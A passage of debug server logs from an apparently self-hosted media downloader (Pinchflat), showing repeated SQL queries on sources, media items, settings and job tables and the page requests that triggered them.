m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:07.927 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=173.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 06:03:07.928 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=172.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 06:03:07.929 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=172.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.929 [debug] QUERY OK source="settings" db=0.1ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.929 [debug] QUERY OK source="settings" db=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.931 [debug] QUERY OK source="sources" db=0.1ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:07.932 [debug] QUERY OK source="media_items" db=0.7ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 06:03:07.933 [debug] QUERY OK source="media_items" db=0.9ms idle=3.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:03:07.934 [debug] QUERY OK source="sources" db=0.1ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:07.934 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 06:03:07.935 [debug] QUERY OK source="media_items" db=0.6ms idle=3.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:03:07.936 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:07.937 [debug] QUERY OK source="media_items" db=0.6ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 06:03:07.938 [debug] QUERY OK source="media_items" db=0.7ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:03:07.939 [info] Sent 200 in 16ms 06:03:08.193 [info] GET /sources/31/media/90892 06:03:08.193 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90892", "source_id" => "31"} Pipelines: [:browser] 06:03:08.193 [debug] QUERY OK source="media_items" db=0.3ms idle=258.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 06:03:08.194 [debug] QUERY OK source="tasks" db=0.3ms idle=258.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90892] 06:03:08.195 [debug] QUERY OK source="sources" db=0.6ms idle=258.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:08.195 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=258.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6789, 6807, 6826, 6845, 6862, 6880, 6907, 6925, 6942, 6961, 6978, 6994, 7011, 7027, 7045, 7061, 7078, 7095, 7111, 7128, 7144, 7162, 7178, 7195, 7214, 7231, 7250, 7266, 7283] 06:03:08.196 [debug] QUERY OK source="settings" db=0.1ms idle=258.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.196 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.197 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.198 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:08.202 [info] Sent 200 in 9ms 06:03:08.393 [info] GET /sources/30/media/141479 06:03:08.393 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141479", "source_id" => "30"} Pipelines: [:browser] 06:03:08.395 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=197.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 06:03:08.396 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=199.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141479] 06:03:08.397 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=198.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:08.398 [debug] QUERY OK source="oban_jobs" db=0.7ms queue=0.1ms idle=199.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7279] 06:03:08.399 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=96.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.400 [debug] QUERY OK source="settings" db=0.4ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.401 [debug] QUERY OK source="settings" db=0.0ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.402 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:08.403 [info] Sent 200 in 10ms 06:03:08.556 [info] GET /sources/31/media/90767 06:03:08.556 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90767", "source_id" => "31"} Pipelines: [:browser] 06:03:08.558 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=158.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90767] 06:03:08.560 [debug] QUERY OK source="tasks" db=1.0ms queue=0.1ms idle=159.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90767] 06:03:08.561 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=158.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:08.562 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=160.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6788, 6806, 6825, 6844, 6861, 6879, 6906, 6924, 6941, 6960, 6977, 6993, 7010, 7026, 7044, 7060, 7077, 7094, 7110, 7127, 7143, 7161, 7177, 7194, 7213, 7230, 7249, 7265, 7282] 06:03:08.563 [debug] QUERY OK source="settings" db=0.1ms idle=160.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.563 [debug] QUERY OK source="settings" db=0.2ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.564 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.565 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:08.568 [info] Sent 200 in 11ms 06:03:08.717 [info] GET /sources/30 06:03:08.717 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 06:03:08.718 [debug] QUERY OK source="sources" db=0.2ms idle=155.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:08.718 [debug] QUERY OK source="media_profiles" db=0.2ms idle=155.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:08.719 [debug] QUERY OK source="tasks" db=0.2ms idle=155.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 06:03:08.719 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=155.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 06:03:08.719 [debug] QUERY OK source="settings" db=0.1ms idle=154.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.720 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.720 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.721 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:08.723 [debug] QUERY OK source="media_items" db=0.9ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 06:03:08.724 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN 